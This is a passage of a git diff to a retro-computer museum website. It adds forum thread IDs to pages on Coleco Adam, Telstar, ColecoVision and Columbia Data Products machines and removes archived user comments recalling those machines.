version\ - http://fms.komkon.org/ColEm/ColEm50-Source.zip $ portable source code - - This release adds the complete Coleco Adam emulation, including keyboard, printer, disk, and tape drives. Both .DSK and .DDP file types are now supported. There are multiple new menu and command line options for working with printers, disks, and tapes. Please note that since Coleco Adam emulation is very new, it may have bugs. If you encounter any problems, or any Adam software that does not run, please, report it here. - - Recent ColEm releases also added support for 2kB SRAM found in the Lord Of The Dungeon game, Super Game Module (SGM) emulation, AY8910 PSG, 24c08 and 24c256 EEPROM emulation, and other modern features important to the homebrew community. See below for all the changes in the latest release. - - ALL CHANGES:\ - \* Coleco Adam emulation is now operational, with keyboard, printer, disk, and tape drives. Use -adam command line or "Hardware $ Adam" menu to enable. Requires EOS.ROM and WRITER.ROM files.\ - \* Emulator will load .DSK files into disk drive A: and enable Adam mode.\ - \* Emulator will load .DDP files into tape drive A: and enable Adam mode.\ - \* Printer output can be sent to a file with -printer option.\ - \* Adam disk drives can also be loaded with -disk\* options.\ - \* Adam tape drives can also be loaded with -tape\* options.\ - \* Windows version has got full support for Adam-specific media images and hardware.\ - \* Added "File $ Save Printer Output" menu to ColEm-Windows.\ - \* Added "Hardware $ Disk Drives" menu to ColEm-Windows.\ - \* Added "Hardware $ Tape Drives" menu to ColEm-Windows. - - Enjoy! - - author: Milli V - date: Saturday 6th August 2016 - text: Visit our store for coloeco adam software and hardware. We sell refurbished systems too! - - author: Payton Byrd (Clarksville, TN, USA) - date: Saturday 25th April 2015 - text: 'Please visit the new Coleco Adam Google Group. The URL is: https://groups.google.com/forum/$!forum/coleco-adam' - - author: Benster (USA) - date: Friday 20th July 2012 - text: I was married to my 1st wife when her parents bought us one of these for Christmas our 1st year of marriage. I comtained the Z80 processor that was in my 1st computer that I built while living in England. Back then the Sinclair ZX81 was a kit you could buy in basement computer shops around Norwhich England, I bet I spent 1000.00 US building and adding on to it..anyway the Adam was our 3 rd PC in 1983 and helped paved the way to the home PCs, 8086,80888,286,386,286,586 up to todays multi processor systems I now have. It also helped to launch my career in IT which I hope to retire from in a few years. - - author: Joe B. (US) - date: Saturday 15th January 2011 - text: I was an original ADAM owner way back when and although I jumped in and out several times, I still have an ADAM setup right next to my PC. Please check out my web page at www.sacnews.net/adamcomputer. There is a section there with PDFs of old ADAM Newsletters, including a complete set of NIAD Newsletters. The site itself contains HTML copies of an old ADAM Newsletter called Expandable Computer News. - - author: Whooter (United States) - date: Thursday 9th December 2010 - text: Still have all my Adam stuff and it works great. - - author: David (US) - date: Wednesday 24th November 2010 - text: |- - I was a hardcore 8-9 year old doing some fairly legit programming on the old Apple II in the early 80s..... - - I vividly remember my parents getting one of these Adam things to score the free $500 scholarship before my bro went off to college. I don''t think we ever got Buck Rodgers to work and the whole computer was just an amazing piece of garbage. I remember sitting with my Dad trying to get the tape drive to work for hours and hours.... - - Good memories.... - - author: Julie (USA) - date: Wednesday 11th August 2010 - text: I still have mine. Haven''t used it in ages. When I upgraded to a PC, it just got packed away and forgotten about. It was a great machine. I found it the other day while cleaning out my garage. Still trying to find the Buck Rogers tape though. Never did figure out how to play the game, but used the system for my small business. Served a great purpose for a long time. Now, I think it''s time to part ways. - - author: Steve (USA) - date: Friday 4th June 2010 - text: I bought the second generation of the Coleco Adam in 1984 at Sears for $800. It came with a printer, cpu, single tape drive, the Colecovision game module, two game controllers, 1 program tape, Basic, two blank tapes for storing data, one game tape, Buck Rogers - Planet of Zoom, and one Colecovision Game Cartridge, Donkey Kong!!. I also added a second tape drive which made storing data much easier, and added a memory module which maxed out the memory to 80kb with the Colecovision plugged in too. The built-in word processor was pretty basic, but It worked well and was useful for my needs at the time. Typing papers. I had to send it away one time for repair only, otherwise it worked great the entire time I had it. I used that machine from 1984 when I bought it until 1992, when I bought my first PC. I sold the entire package for $55.00. I wish I still had it. - - author: Ben (USA) - date: Thursday 28th December 2006 - text: I don't know a lot about the specs and the tech stuff but i had one of these when i was a kid and it was old then, i loved it i had tons of game for probaly at least 60, had some cave man games and trolls, it took sega cartridges, and i rember buck rogers on the cassete tapes , and the newest thing we had for it was the big 5" somthing floopy. the graphics seemed way ahead of there time on par with a 286 atleast and the sound was quite good, coming from some one who had a 386 with just the pc speaker 16 colour! - - author: Bill Schoonmaker (USA) - date: Wednesday 22nd March 2006 - text: I owned the coleco Adam computer and I remember that it came with a game called Buck Rogers on the data pack format. The tape would spin back and forth and take an extremely long time to load but the game had features that the regular colecovision version did not have. I did a lot with the included basic language and even tried to "port" some crude games over to it with minimal success. - - author: Katy (USA) - date: Thursday 14th April 2005 - text: |- - Thank you so much Oliver. I will give that a try.\ - Katy - - author: Olivier (France) - date: Tuesday 12th April 2005 - text: The Adam is compatible with the Colecovision console. War Games was in fact a Colecovision game. You can play it on your PC by downloading and installing one of the Colecovision emulators available (http://www.zophar.net/coleco.html) and then downloadinf War Games cartridge (http://www.theoldcomputer.com/Libarary's/Emulation/Coleco/Roms/coleco_games_summary.htm). Enjoy - - author: Katy (USA) - date: Tuesday 12th April 2005 - text: |- - Does anyone remember the game "War Games" for the Adam? Does anyone know if it is available in a modern format?\ - Owned one in 84 or 85 but can't remember how much. Maybe $200. It was new, so not sure if the price is right. Wrote my first book using the Adam. Lost it all in a fire. - - author: frial (us) - date: Thursday 7th April 2005 - text: the power supply for these was in the \*printer\* so if that's gone your sol - - author: jacob katz ( ) - date: Thursday 20th January 2005 - text: 'some people would accedently leave their boot-up tapes on the consle, and the machine created a magnetic field that would erase the tapes. the company did not manufacture parts outside of the consule: so if this happened, you would be stuck' - - author: Elesias (France) - date: Thursday 23rd December 2004 - text: |- - By any chance, can someone tell me the specifications of the Disk Drive PSU please ? - - Thanks a lot ! - - author: Elesias (Aix en Provence (FRANCE)) - date: Tuesday 8th April 2003 - text: |- - My expansion module #3 doesn't seem to work : everything is plugged, but I turn the Adam on, nothing but a blank screen. Nothing else ;-( - - Can anyone help or give me a piece of advice in order to solve the problem ?\ - Thanks. - - author: Wayne Moore (Levittown, PA) - date: Thursday 20th March 2003 - text: I remember buying mine at Canadian Tire for $1000 - - author: Adam Moreau (Thunder Bay, ONT, CA) - date: Tuesday 18th June 2002 - text: I bought a used ADAM at a local second hand store, for approx $50 CND. It (the ADAM) was sold to me (Adam Moreau) from the salesperson (Adam S.) when we noitced the connection between names. It worked fine, and I still use it to play games, and for SmartBASIC, of course! - - author: djdave717 (Harrisburg PA) - date: Wednesday 17th April 2002 - text: Check eBay ... they usually have the best selection! Most of the "dealers" that still sell Adam computers and accessories are ridiculously overpriced. If you don't see what you like, wait a week, more will come ... - - author: Paige (Wa) - date: Wednesday 10th April 2002 - text: |- - How do I get one/another one.\ - I had one back in 1986. - - Thank you,\ - Paige - - author: djdave717 (Harrisburg PA) - date: Tuesday 29th January 2002 - text: Why use Perl when you have SmartBASIC? oc_id: 57 source: url: https://web.archive.org/web/20230602014111/http://www.old-computers.com/museum/computer.asp?c=57 diff --git a/content/museum/coleco-combat.md b/content/museum/coleco-combat.md index 9b3596ed..d6cedcc0 100644 --- a/content/museum/coleco-combat.md +++ b/content/museum/coleco-combat.md @@ -46,6 +46,7 @@ params: - photos - software - videos + forum_thread: 645 photos: - title: TELSTAR COMBAT subtitle: '' @@ -83,16 +84,6 @@ params: - title: Chronogamer - Coleco Combat - Move, Shoot & Explode url: https://www.youtube.com/watch?v=rEcUzLXGbXo text: 'Length: 12 s' - comments: - - author: Scott Hunsucker (USA) - date: Monday 16th October 2006 - text: Mom and dad bought this for me when I was little in i977 I was three. I remember playing my dad on this console. It lasted until 1996 when my father passed away. I sold it and a 1976 version of pong. Pong still worked as if it were new. Combat speakers were non functional by 1996. but the graphic still worked. My mom said they bought it around 1978 for about 85 or 90 dollars. anyway I remember playing it alot through my childhood. ALOT!!! - - author: Robert Ccoleman (Earth) - date: Friday 17th December 2004 - text: I can't say too much about this game but I did have one. It was great, just like the tank game in the arcade. The one problem with it was I believe the joysticks were very weak. We broke one off shortly after we got it. I would love to have one again. - - author: David Posner (Earth) - date: Monday 20th October 2003 - text: This was the first game system my parents ever bought for me, I was about 5 or 6 at the time. I remember we had to install the stick controllers ourselves. All four games were basic tank battle games but all were generally superior to the Atari Combat games that came with the VCS. When I was a teenager I came across the old console in our basement and set it up. It still worked, but I very quickly broke one of the controller sticks which were made with rather thin plastic stems. software: - /software/combat oc_id: 660 diff --git a/content/museum/coleco-gemini.md b/content/museum/coleco-gemini.md index ee4bf239..b4a9d920 100644 --- a/content/museum/coleco-gemini.md +++ b/content/museum/coleco-gemini.md @@ -10,6 +10,7 @@ params: tabs: - photos - links + forum_thread: 1122 photos: - title: COLECO GEMINI subtitle: '' @@ -31,13 +32,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: loodo848 (37072) - date: Sunday 4th March 2012 - text: i used to have one of these - - author: Chulang Searles (Barbados, West Indies) - date: Tuesday 15th August 2006 - text: This wasa my introduction into video games. I enjoy playing the atari games having 12 titles, alot for some one in Barbados. The isssues i had was the joysticks were not the feel of the atari. SO we brough the original controllers. We then brough froma friend in 1986 the collecovision and had the 2600 ADAPTOR. The expansion unit disable the z80 cpu and use the vido port of the coleco, that is why it was easy for Coleco to build a clone. the clone was also very easy to repear. related: - /museum/cce-supergame-vg-3000 oc_id: 1152 diff --git a/content/museum/coleco-telstar-alpha-model-6030.md b/content/museum/coleco-telstar-alpha-model-6030.md index 3551f2ab..5a2a5e64 100644 --- a/content/museum/coleco-telstar-alpha-model-6030.md +++ b/content/museum/coleco-telstar-alpha-model-6030.md @@ -54,6 +54,7 @@ params: - photos - emulators - links + forum_thread: 650 photos: - title: COLECO TELSTAR ALPHA subtitle: '' @@ -88,24 +89,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: '' - comments: - - author: Edward Jackson (Missouri, USA) - date: Thursday 17th April 2014 - text: Heh! I got one of these for a Christmas present. It worked fine, but got real boring, real quick. - - author: hiroshi (memphis, tn) - date: Friday 16th July 2004 - text: |- - I think you are confused about the 3 difficulty switches... you stated "beginner : slow ball, big paddles / advanced : fast ball, big paddles / expert : fast ball, small paddles" - - however it's really:\ - (beginner : slow ball, big paddles / INTERMEDIATE : SLOW BALL, SMALL PADDLES / PRO : fast ball, BIG PADDLES) - - this is what I get from my Telstar Alpha unit. - - the unit I have I've hacked so that it's directly connected via RF (as opposed to using a metal sliding switch box). I soldered a slightly modified NES RF box. I recommend doing this on your unit, as it gets much better video results (crystal clear!). - - I wonder if RCA jacks can be made from it.. it would be more convenient\ - http://www.pong-story.com/pics/gi/ay38500.gif related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/coleco-telstar-arcade.md b/content/museum/coleco-telstar-arcade.md index c5c9262e..29b36bf4 100644 --- a/content/museum/coleco-telstar-arcade.md +++ b/content/museum/coleco-telstar-arcade.md @@ -47,6 +47,7 @@ params: - photos - software - links + forum_thread: 646 photos: - title: LOGO subtitle: '' @@ -76,16 +77,6 @@ params: - title: Pong-Story.com url: http://www.pong-story.com/coleco_arcade.htm text: David Winter's has put up a very complete page about the Telstar Arcade - comments: - - author: Bholio (USA) - date: Tuesday 7th June 2005 - text: 'I also had one of these as a kid. I remember that cartridge #2 (Hockey, Tennis etc) also came packaged with 2 additional paddle controllers so 4 people could play at once.' - - author: Mario (New York, NY) - date: Wednesday 2nd March 2005 - text: You're not alone, Mike - had one too. - - author: Mike (Seatte, WA) - date: Wednesday 19th January 2005 - text: I thought I was the only kid in the world who ever had one of these. And by the looks of the forum, maybe I was right. By the time this system came out, Pong was dead and the Atari VCS was all the rage. The gun did made a good toy. software: - /software/bonus-pinball-deluxe-pinball-shooting-gallery-shoot-the-bear - /software/hockey-tennis-handball-target diff --git a/content/museum/coleco-telstar-classic-model-6045.md b/content/museum/coleco-telstar-classic-model-6045.md index 6951b75e..48a3ff58 100644 --- a/content/museum/coleco-telstar-classic-model-6045.md +++ b/content/museum/coleco-telstar-classic-model-6045.md @@ -54,6 +54,7 @@ params: tabs: - photos - links + forum_thread: 651 photos: - title: TELSTAR CLASSIC subtitle: '' diff --git a/content/museum/coleco-telstar-colormatic-model-6130.md b/content/museum/coleco-telstar-colormatic-model-6130.md index 2fe6c7fe..4e2b0513 100644 --- a/content/museum/coleco-telstar-colormatic-model-6130.md +++ b/content/museum/coleco-telstar-colormatic-model-6130.md @@ -53,6 +53,7 @@ params: tabs: - photos - links + forum_thread: 652 photos: - title: BOX subtitle: '' @@ -62,13 +63,6 @@ params: - title: The story of the Telstar systems url: http://www.pong-story.com/coleco.htm text: PONG STORY.COM has nice pages dedicated to the Telstar systems - comments: - - author: Olivier (France) - date: Wednesday 17th December 2003 - text: You can find a opng rarity list (http://www.pong-story.com/mypongs.htm) which you might find useful. However, don't expect big prices... Pongs generally sell cheap... - - author: JOEL (HBG,PA) - date: Tuesday 16th December 2003 - text: I FOUND A TELSTAR COLORMATIC IS THERE ANY VALUE IN IT related: - /museum/coleco-telstar - /museum/coleco-telstar-classic-model-6045 diff --git a/content/museum/coleco-telstar-colortron.md b/content/museum/coleco-telstar-colortron.md index 71ea63fc..c8d1fdcc 100644 --- a/content/museum/coleco-telstar-colortron.md +++ b/content/museum/coleco-telstar-colortron.md @@ -54,6 +54,7 @@ params: - photos - adverts - links + forum_thread: 654 photos: - title: BOX subtitle: '' @@ -79,13 +80,6 @@ params: - title: The story of the Telstar systems url: http://www.pong-story.com/coleco.htm text: PONG STORY.COM has nice pages dedicated to the Telstar systems - comments: - - author: Alberto Negrete Mares (México) - date: Thursday 7th January 2021 - text: Buenas tardes. Quiero saber cómo puedo conectar el juego a una pantalla de televisión, por favor y gracias - - author: Nash (USA) - date: Thursday 7th December 2017 - text: Oh man. I couldn''t remember what my first Pong console was, but this was it. I got it at a thrift store for pennies, battery door missing, but it worked fine. I wonder what happened to it... related: - /museum/coleco-telstar - /museum/coleco-telstar-classic-model-6045 diff --git a/content/museum/coleco-telstar-gemini.md b/content/museum/coleco-telstar-gemini.md index a6fbb03b..3e136fb5 100644 --- a/content/museum/coleco-telstar-gemini.md +++ b/content/museum/coleco-telstar-gemini.md @@ -50,6 +50,7 @@ params: value: Unknown tabs: - photos + forum_thread: 655 photos: - title: MOTHERBOARD subtitle: '' @@ -67,10 +68,6 @@ params: subtitle: '' text: '' image: /media/museum/photos/coleco_telstar_gemini_box.jpg - comments: - - author: Oscar (United States of America) - date: Saturday 14th November 2015 - text: Nice oc_id: 671 source: url: https://web.archive.org/web/20230613001154/http://www.old-computers.com/museum/computer.asp?c=671 diff --git a/content/museum/coleco-telstar-marksman.md b/content/museum/coleco-telstar-marksman.md index 583fb0fd..91bb865f 100644 --- a/content/museum/coleco-telstar-marksman.md +++ b/content/museum/coleco-telstar-marksman.md @@ -58,6 +58,7 @@ params: - photos - adverts - links + forum_thread: 656 photos: - title: BOX subtitle: '' diff --git a/content/museum/coleco-telstar-ranger.md b/content/museum/coleco-telstar-ranger.md index 96cf677a..a83249d9 100644 --- a/content/museum/coleco-telstar-ranger.md +++ b/content/museum/coleco-telstar-ranger.md @@ -51,6 +51,7 @@ params: tabs: - photos - links + forum_thread: 657 photos: - title: WITH GUN subtitle: '' diff --git a/content/museum/coleco-telstar.md b/content/museum/coleco-telstar.md index 6193ffca..9da13ad7 100644 --- a/content/museum/coleco-telstar.md +++ b/content/museum/coleco-telstar.md @@ -55,6 +55,7 @@ params: - photos - links - videos + forum_thread: 649 photos: - title: COLECO TELSTAR subtitle: '' @@ -76,19 +77,6 @@ params: - title: Coleco Telstar TV advert url: https://www.youtube.com/watch?v=GdjE4Yywmpc text: 'Length: 29 s' - comments: - - author: philip - date: Friday 18th February 2011 - text: theres an easier way to not youse d-cell type batteries, simply rewire the compartment from the other side and rig a 9-volt plug on to it and that works for it (mine had a corroded compartment) and it works fine now\~ - - author: j4ck (us) - date: Monday 28th March 2005 - text: i still have one, and it still works, once i find enough of the giant d-cell batteries to fill it. hours of mind-numbing retro fun! - - author: Paul Pijuan (Toronto) - date: Wednesday 19th February 2003 - text: |- - Wow, I used to have one of these! It was GREAT! I currently also have my original Atari 400, Apple II+, Mac SE, and 286. Does anyone know where I can buy of these. Awesome!! Thanks, - - Paul related: - /museum/coleco-telstar-classic-model-6045 - /museum/coleco-telstar-colormatic-model-6130 diff --git a/content/museum/colecovision.md b/content/museum/colecovision.md index 0ce0eca8..71a61715 100644 --- a/content/museum/colecovision.md +++ b/content/museum/colecovision.md @@ -15,6 +15,7 @@ params: - emulators - links - videos + forum_thread: 738 photos: - title: COLECOVISION subtitle: '' @@ -378,24 +379,6 @@ params: - title: Colecovision 1983 TV commercial url: https://www.youtube.com/watch?v=unpuywHanBc text: 'Length: 30s' - comments: - - author: Neonridr (Canada) - date: Wednesday 25th May 2011 - text: The Colecovision was my first console too. My favorite game was Venture. Want to talk about advanced graphics, you were a head that went in and out of various rooms collecting treasures. If you stayed too long in the room, a giant green head came after you. Was the most basic of games, but was incredibly fun. - - author: Thomsonicus (Poland) - date: Wednesday 15th November 2006 - text: |- - I don't know if anyone noticed, but in one of episodes of an animated comedy series "Family Guy" a maid, whose service Mr. Griffin had won, at one point finds a Colecovision system in Mr. Griffins bellybutton! His comment was: "Hey! A Collecovision! This is going to be a fun afernoon after all!"\ - :-D - - author: Chocolate Thunda (united states) - date: Wednesday 10th March 2004 - text: I have one of these consoles and they are neat. Why did they stop making them? - - author: Alex (Munich/Germany) - date: Sunday 1st June 2003 - text: Yes ! This was also my first console. And i loved it so much ! My favorit game was "The Heist" ! Genius !! - - author: Jeremy Pavleck (Madison, WI USA) - date: Saturday 28th December 2002 - text: Wow, this was my first console. I was 7 at the time. I still remember, to this day, playing Donkey Kong and Tarzan and all the other great games out for it. I even had the Atari game adapter. Wow, this takes me back! oc_id: 755 source: url: https://web.archive.org/web/20230328052322/http://www.old-computers.com/museum/computer.asp?c=755 diff --git a/content/museum/collins-international-trading-corporation-orange-2.md b/content/museum/collins-international-trading-corporation-orange-2.md index 579d0535..29834379 100644 --- a/content/museum/collins-international-trading-corporation-orange-2.md +++ b/content/museum/collins-international-trading-corporation-orange-2.md @@ -65,6 +65,7 @@ params: tabs: - photos - adverts + forum_thread: 822 photos: - title: KEYBOARD subtitle: '' @@ -79,21 +80,6 @@ params: subtitle: '' text: thanks to [www.textfiles.com](http://www.textfiles.com) for this scan image: /media/museum/pubs/orange-plus_pub_inflation-fighter_2.jpg - comments: - - author: Kel Nelson (USA) - date: Sunday 7th December 2008 - text: |- - I used to own one of these. I was the Orange 2 "Wildcat" and mine had 64k of RAM. I had a few different Apple games for it, but the one I remember most was a game called Droll. This was my second computer. The first computer I had was the APF Imagination Machine. Thanks for keeping these memories Alive. I didn''t know if I would EVER see pictures of these computers again. You made my day. :) - - These two computers were responsible for my interest in graphics, and I''ve gone on to become a 3D Animator of movies like "Anastaisia" and "Titan A.E." - - author: Oliver Leibenguth (Germany) - date: Monday 29th December 2003 - text: |- - Hey, this one looks \*exactly\* like the Orange2 I once owned. Even the sticker on the Keyboard looks familiar ;-) - - The Orange was distributed by a company named "Arhelger" so at least in Germany it might be more common with that name. - - BTW: Afair the Orange used a genuine Apple-Mainboard.... oc_id: 841 source: url: https://web.archive.org/web/20230608141536/http://www.old-computers.com/museum/computer.asp?c=841 diff --git a/content/museum/columbia-data-products-mpc.md b/content/museum/columbia-data-products-mpc.md index 2e46622d..6685b3d6 100644 --- a/content/museum/columbia-data-products-mpc.md +++ b/content/museum/columbia-data-products-mpc.md @@ -62,6 +62,7 @@ params: 5 MB hard drive : $1700 tabs: - adverts + forum_thread: 619 adverts: - title: PREVIOUS SYSTEM subtitle: '' @@ -80,78 +81,6 @@ params: In addition, you get MS-DOS, CP/M-86, Macro/86 assembler, BASICA, Asynchronous communication support, Diagnostics and the Columbia Tutor program... image: /media/museum/pubs/columbia_pc_pub_3.jpg - comments: - - author: Wayne Stanley (Florida USA) - date: Friday 28th September 2018 - text: |- - I worked as a lead technician for CDP until laid off.\ - I Remember all of the Help I received from David Howse and how much I learned from him. I hope he is doing well. - - I am working as a Test Engineer these days for a big company in Florida I miss many of the friends I made at CDP. - - author: Bill K (USA) - date: Saturday 1st September 2018 - text: Very nice machine. Well styled and solidly built. Mine was paired with a Zenith monitor, an Oki printer, and a SuperSoft C compiler that could be run from one disk while the source and executable files were in the second disk. The MPC was reliable and a pleasure to use. The only failures were an 8250 printer interface chip (which fortunately was socketed as I recall) and one disk drive (easily replaced). Many thanks to the pioneers that developed and produced this nice machine, and to Old-Computers for hosting this site. (I purchased mine in 1982 (ish), and used it for a number of years to develop hardware and software for transcription of audio (voice) into a musical score, and for pitch recognition.) - - author: Wife of Don Rein - date: Tuesday 30th January 2018 - text: My now deceased husband, Don Rein, worked for Columbia Data Systems in the early 80’s. He was able to do both hardware and software at the time, but mostly worked on the programming associated with the BIOS and ROM, I believe. I was just learning about all of it then. We had the version in our home that had two floppy drives (5 1/4) and no hard drive. I learned to program in Basic on these computers. - - author: David Howse (Usa) - date: Tuesday 12th December 2017 - text: I was the hardware engineer that designed the MPS. I have my original, hand drawn schematics. - - author: Jodean Schoenberger (Minnesota USA) - date: Wednesday 14th January 2015 - text: |- - I worked for Bell $ Howell Co. in the 80''s and we were the national service provider for Columbia Data Products. I was based in Minneapolis and Control Data had hundreds of the 1600 series.\ - They were great IBM clones. Eagle was also a brand we serviced and while they were good computers they weren''t as good of a clone as CDP.\ - One of the things that killed CDP was that their production was pushed so hard, because of their popularity, that their out of box failure rate went up to about 25$. I know because Control Data would get pallets of them in and hot stage each unit before sending it to their end user and would call us with stacks of them to fix. - - author: Harry K - date: Wednesday 8th October 2014 - text: My first computer job was at Columbia. I did BIOS testing and in those days that meant Lotus 123, Wordstar, and games like Decathlon, etc... It was lots of fun watching them grow. It was a damn shame their Accounting and business side could ship a heck of a lot of these units on credit but never get paid. If not for bad business practices, they would have gone the route of Compaq. Too bad for all those dedicated workers... - - author: Bill Dempsey (USA) - date: Saturday 25th August 2012 - text: I have the original version of the Columbia MPC. Unfortunatly it does not have a newly developed chip that solved a problem on this version MPC. Does anyone know if this chip is available? - - author: Edgardo Marrero (Puerto Rico) - date: Tuesday 26th October 2010 - text: I worked as Board Test Technician in Gurabo, Puerto Rico for Columbia Data Products. If you want to know where was manufactured, check in the Mother board the serial number label with the prefix PR. - - author: David (Dallas, TX) - date: Sunday 30th December 2007 - text: The colombia MPC was not my first computer, the ZX81 was. But this was the first computer I could do real programming for college. I was a computer science student in systems software and the programming was getting complex. I was using my atari and a 300 buad modem as a terminal into the main frame. But with this computer whcih I bought in 1985 for $700, I had 256k ram, and a floppy drive to store my programs on. I also loaded my programs from floppy. I had no hard drive. I had no printer. I had no color monitor. I had a composite green screen and a hericlies card. That card meent I could do graphics and play games and such but everything was shades of green. But I could run turbo pascal 3.0. Which was abut the hotest thing since sliced bread at the time. You had 64k max program size, but you could edit, compile and run in one program. And compiling was super fast which was the attraction. It was much faster than the mainframe. I also got into playing with video memory on the - machine, and assembly language and dos calls. I eventually went CGA color, then two floppies, then a 20 gig hard drive. The original floppies where 360k in size. The article ehre indicates 320k which is wrong. I originally had full height floppy drives and then went half height so I could fit the hard drive intot he machine. it was great to plug all that into the machine and have everything work. A friend of mine had a AT&T 6300 and he could not get much of anything to work with the computer. He went with a 20 gig hard card. That was a hard drive controller and drive on one card. I put sound on mine, and added a printer. A brother 9 pin dot matrix printer. The printer worked great. I ultimately tossed it because I got tired of slow noisely low quality print outs. But it was great for printing program listings for classes. It was funny I got this for $700 in 1985 buying it out of someones living room who was selling them on the side. I didn't get much of the bundled software. I got - perfect file, and that was about it. I never used that. This purchase of a computer started a 10 year friendship that went through many computers. The guy who sold me this computer ultimately got out of it because the area of going to the bay area and buying computers cheap and taking them up into northern california swap meets and making 10k in a weekend was over. Things where a changing. Dell was coming onto the seen. That saw margins drop to almost nothing where they have stayed. But I did learn how to build this computers and overhaul them myself from my new long term buddy. It was great. Too bad columbia didn't do much with the computers they built. The built a few like this one and the portable listed here and then disappeared instead of prospering. It is strange which companies make it and why. I mean...no mystery now why Sinclair didn't make it...he was using scrap electronic parts. But columbia was using first run electronics, and was extremely compatiable with the IBM product. - - author: Dennis Miller (South Bend, Indiana) - date: Monday 11th April 2005 - text: The MPC was my first computer also. I had the same one that T. Fenstermaker describes. As the technology progressed I kept updating it until eventually it had two half-height 20Mb hard disks, two half-hight floppies, VGA graphics an Intel Inboard Expanded (1 Meg) Memory module/CPU accelerator that simulated AT speeds. It taxes my memory to remember all the hardware changes I made to that system, as well as all the innovative software that supported them. I finally sold it in 1988 to a teen-ager down the steet who thought it was the greatest thing in the world. These days I have 4 computers, the fastest running an AMD 64 FX-55. I remember that Columbia with real fondness, but I'm glad to say that both the technology and I have come a long way, baby. - - author: robert vahovick (port huron michigan) - date: Sunday 15th February 2004 - text: I have a columbia data products mpc computer it was my dad first computer my motherboard is no good where can I get a columbia data products motherboard guys. - - author: T Fenstermaker (Washington DC) - date: Saturday 29th November 2003 - text: |- - The MPC was my first computer. My parents searched ads in computer magazines and newspapers for months before settling on Columbia's offering as the best deal. Apparently it was \*the\* machine to have for a while; even my highschool Physics teacher commented how jealous he was when I mentioned I had one. - - It arrived on my birthday in 1984. It had 128K of RAM, dual 5.25" floppies, a CGA card, and a monochrome monitor. It also came with a boatload of software, including TWO operating systems--CPM/80 and MS-DOS, version 1.0 (which had NO ability to do sub-directories). All the software, of course, ran on MS-DOS, so CPM was mostly a curiosity that I explored when I wanted something different. - - The software bundle included what we'd today call an "office automation productivity suite." Perfect Writer, Perfect Speller (the spell-checker was a separate product, gee), Perfect Draw (I think) and some spreadsheet program. There was also a charting program called Tim IV. I still have manuals for many of these. - - I used this machine all through highschool to type papers, at a time when most kids used long-hand or, if being fancy, a typewriter. I loved the right-margin justification. But the spell-checker was something only my Luddite English teacher could love: it didn't actually suggest correct spellings for words; it just told me they were wrong. I had to look up the correct spelling myself.\ - Come to think of it, the word processer wasn't WSYIWYG, anyway; the formatting was done through tags. - - I used this machine well into the mid-90's, though by then it had been reduced to mostly being a dumb terminal to connect to Unix systems through a modem. I physically had the machine until the late '90s, when I unfortunately left it behind in a divorce. - - Interestingly my father, at one point, paid $200 for a "technicians manual" of the MPC. It has detailed technical drawings and specifications of the entire machine. I'm sure he still has it in his basement. - - Anyway, I wasted many, many hours in front of this machine, doing school work, typing letters to friend (to send thru snail-mail), writing dumb GW Basic programs, surfing BBS's (when I got my hands on a used modem a year later), running a BBS for my friends (in the evenings because we were too cheap to get a second line) and playing cheesy but unforgettable CGA games, like Flightmare and the Space Invaders-like game that came with the software bundle. - - One fun thing I'll always remember about it: when it was booting, one could press a key (which one I don't remember) to have it perform a detailed memory test. If one pressed the letter "S" while it was doing this test, it would play a little electronic song while it tested. If for no other reason I'd love to have my machine back to sample that little tune and mix it into some club hit. - - Ironically I now live less than a half-hour from the quondam headquarters of CDP, but according to their current website, that piece of their history ended all the way in 1986, or two years after I got the thing. From king of the clones to also ran in no-time; establishing another fine tradition of this crazy field. - - Thanks for the memories. - - author: Reuben (NW Washington state, USA) - date: Thursday 3rd April 2003 - text: |- - I have a Columbia Data Products 1600VP/110 portable ('luggable') and know NOTHING about it! it turns on, boots (from a floppy) and plays microsoft flight simulator 2.1... bios date is 1983. anybody know anything about it? - - \~Reuben oc_id: 633 source: url: https://web.archive.org/web/20230530114140/http://www.old-computers.com/museum/computer.asp?c=633 diff --git a/content/museum/columbia-data-products-vp.md b/content/museum/columbia-data-products-vp.md index 406f5d3c..1a5e8bea 100644 --- a/content/museum/columbia-data-products-vp.md +++ b/content/museum/columbia-data-products-vp.md @@ -67,6 +67,7 @@ params: tabs: - photos - adverts + forum_thread: 869 photos: - title: SYSTEM subtitle: '' @@ -114,55 +115,6 @@ params: subtitle: '' text: The red part shows all the IBM-PC software boxes the VP could run. image: /media/museum/pubs/columbia_vp_pub_1.jpg - comments: - - author: Padgett (USA) - date: Saturday 26th June 2021 - text: Before the Columbia I played mostly with Vaxes but when the luggables came along I bought a Columbia VP-1600-1 hotrodded with 256k of memory to which I added a multipurpose expansion card with 384k of memory to reach the 640k limit imposed by 1-2-3. Selected the Columbia for the amber screen (was sick of green phosphor). Was very fortuitous since the Columbia also had a BIOS debugger. Was TDY to the FAA in DC when they were hit by the BRAIN. Took it apart, wrote a thruway to fix it and another I found (both stored the original boot sector elsewhere) and went back to my real job. Later used the debugger to repair many boot sector viruses. Still have the original dual floppy, and a second purchased later with a 20MB HDD. Think both wound up with 10Base-T LAN cards. - - author: Martin Cohen (United States) - date: Wednesday 12th August 2020 - text: |- - This was my first pc compatible. I remember upgrading from dos 1 to dos 2. I liked the perfect software series and was very annoyed when perfect 2 series removed keyboard compatibility with emacs.\ - I got the carrying case and sometimes brought it into work. I borrowed as 1200 baud modem so I could dial into work. I usually stayed in emacs. 1200 baud was fast enough.\ - I added an 8087 and a card with a 10mb hard drive (really helped) and 64kb (I think) of ram.\ - I still have it in storage and haven''t used it for at least 30 years. Don''t know if it works.\ - I may have the original 5-1/4" floppies. - - author: Go (Michigan, USA) - date: Sunday 2nd February 2020 - text: I used Perfect Calc software in the late 1980s and still have a few dozen spreadsheets that I would like to convert to a more recent spreadsheet format. I have the software but missing pc.swp. If anyone has that file and willing to share, I would greatly appreciate it. - - author: Kim (Utah) - date: Thursday 8th February 2018 - text: I still own a 1600-1 Columbia PC with the Perfect Software floppies and manuals. I used this computer to start my career in the software industry. I have it sitting in my office at home. It still works. Amazing. - - author: Richard (Vancouver BC CANADA) - date: Thursday 2nd March 2017 - text: I own $392 just brought down from the attic. Willing to sell at nominal value to any interested collector. Have photos. - - author: Marcin (Kraków/Poland) - date: Monday 28th November 2016 - text: |- - Hey, by browsing CDP OEM version of MS-DOS 